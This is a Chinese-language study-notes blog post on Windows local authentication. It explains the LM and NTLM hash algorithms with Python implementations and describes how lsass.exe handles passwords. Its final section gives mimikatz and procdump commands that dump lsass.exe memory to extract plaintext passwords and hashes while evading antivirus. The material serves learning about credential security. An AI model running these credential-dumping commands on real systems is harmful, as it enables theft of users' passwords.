首发先知社区:
https://xz.aliyun.com/t/8127
仅记录学习笔记,参考网上各位前辈的文章讲解加上个人理解。如有错误,请及时提醒,以免误导他人。
Windows
本地登陆密码储存在位于%SystemRoot%\system32\config\
目录的SAM
文件中,存储内容为密码的hash
值。当用户输入密码时,Windows
先将用户的输入通过算法加密再与SAM
文件存储的数据对比,一致则认证成功。
Windows
所使用的密码hash
有两种,LM Hash
与NTLM hash
。
0x01 LM Hash LM
全称LAN Manager
,LM hash
作为Windows
使用较早的认证协议,现已基本淘汰,仅存在于较老的系统中,如Windows XP、Windows 2000、Windows 2003
这一类。
LM hash
算法如下:
将密码转换为大写,并转换为16进制
字符串。 密码不足28位
,用0
在右边补全。 28位
的密码被分成两个14位
部分,每部分分别转换成比特流,并且长度为56
位,长度不足用0
在左边补齐长度。两组分别再分7位
一组末尾加0
,再组合成一段新的字符,再转为16
进制。 两组16进制
数,分别作为DES key
,并为KGS!@#$%
进行加密。 将两组DES
加密后的编码拼接,得到LM HASH
值。 Python3
实现LM hash
算法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 import binasciiimport codecsfrom pyDes import *def DesEncrypt (str, Key) : k = des(Key, ECB, pad=None ) EncryptStr = k.encrypt(str) return binascii.b2a_hex(EncryptStr) def ZeroPadding (str) : b = [] l = len(str) num = 0 for n in range(l): if (num < 8 ) and n % 7 == 0 : b.append(str[n:n + 7 ] + '0' ) num = num + 1 return '' .join(b) if __name__ == "__main__" : passwd = sys.argv[1 ] print('你的输入是:' , passwd) print('转化为大写:' , passwd.upper()) passwd = codecs.encode(passwd.upper().encode(), 'hex_codec' ) print('转为hex:' , passwd.decode()) passwd_len = len(passwd) if passwd_len < 28 : passwd = passwd.decode().ljust(28 , '0' ) print('补齐28位:' , passwd) PartOne = passwd[0 :14 ] PartTwo = passwd[14 :] print('两组14位的部分:' , PartOne, PartTwo) PartOne = bin(int(PartOne, 16 )).lstrip('0b' ).rjust(56 , '0' ) PartTwo = bin(int(PartTwo, 16 )).lstrip('0b' ).rjust(56 , '0' ) print('两组56位比特流:' , PartOne, PartTwo) PartOne = ZeroPadding(PartOne) PartTwo = ZeroPadding(PartTwo) print('两组再7位一组末尾加0:' , PartOne, PartTwo) PartOne = hex(int(PartOne, 2 ))[2 :] PartTwo = hex(int(PartTwo, 2 ))[2 :] if '0' == PartTwo: PartTwo = "0000000000000000" print('两组转为hex:' , PartOne, PartTwo) LMOne = DesEncrypt("KGS!@#$%" , binascii.a2b_hex(PartOne)).decode() LMTwo = DesEncrypt("KGS!@#$%" , binascii.a2b_hex(PartTwo)).decode() print('两组DES加密结果:' , LMOne, LMTwo) LM = LMOne + LMTwo print('LM hash:' , LM)
代码参考:https://xz.aliyun.com/t/2445
当密码为123ABC
或123456
时如下:
LM Hash
的缺陷在于:
密码不区分大小写。 密码长度最大只能为14个
字符。 根据以上的图,可以发现当我们的密码不超过7位
时,生成的LM hash
后面的一半是固定的为aad3b435b51404ee
,也就是说通过观察LM hash
,够判断用户的密码是否是大于等于7位
。 哈希值没有加盐就进行验证,这使其容易受到中间人的攻击,例如哈希传递,还允许构建彩虹表。 0x02 NTLM Hash NTLM
全称NT LAN Manager
, 目前Windows
基本都使用NTLM hash
。
NTLM hash
算法如下:
将用户输入转为16进制
再经Unicode
编码 再调用MD4
加密算法 Python2
实现NTLM hash
算法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import codecsimport sysfrom Crypto.Hash import MD4def UnicodeEncode (str) : b = [] l = int(len(str) / 2 ) for i in range(l): b.append((str[i * 2 :2 * i + 2 ]) + '00' ) return '' .join(b) def Md4Encode (str) : h = MD4.new() h.update(str.decode('hex' )) return h.hexdigest() if __name__ == '__main__' : passwd = sys.argv[1 ] print('Input: ' + passwd) passwd = codecs.encode(passwd.encode(), 'hex_codec' ).decode() print('Hex: ' + passwd) passwd = UnicodeEncode(passwd) print('Unicode: ' + passwd) NTLMhash = Md4Encode(passwd) print('NTLMhash: ' + NTLMhash)
后来在篇文章上发现了更简单的代码表现:
见https://www.anquanke.com/post/id/193149#h3-3
1 2 3 import hashlib,binascii,sysprint binascii.hexlify(hashlib.new("md4" , sys.argv[1 ].encode("utf-16le" )).digest())
例如admin
经NTLM hash
后存储的值便是209c6174da490caeb422f3fa5a7ae634
。
NTLM Hash
在算法上比LM Hash
安全性更高一些。
0x03 本地认证流程 简洁的描述一下大致流程,当然实际上会复杂很多。
用户通过winlogon.exe
输入密码,lsass.exe
进程接收密码明文后,会存在内存之中并将其加密成NTLM hash
,再对SAM
存储数据进行比较认证。
0x04 Procdump+Mimikatz读取密码Hash 介绍完windows
本地认证机制,可以发现在 lsass.exe
进程中是会存在有明文密码的,于是可以直接使用mimikatz
读取,但是这样通常会被拦截
1 mimikatz.exe log "privilege::debug" "sekurlsa::logonPasswords full" exit
所以可以利用工具procdump
将lsass.exe
dump
出来,拉到没有杀软的机器里面使用mimikatz
读取密码。
1 procdump64.exe -accepteula -ma lsass.exe lsass.dump
1 mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
0x05 总结 这里重点讲了LM hash
与NTLM hash
的算法,然后简略介绍通过Mimikatz
对hash
的抓取,可能会有错误,多包涵,共同进步。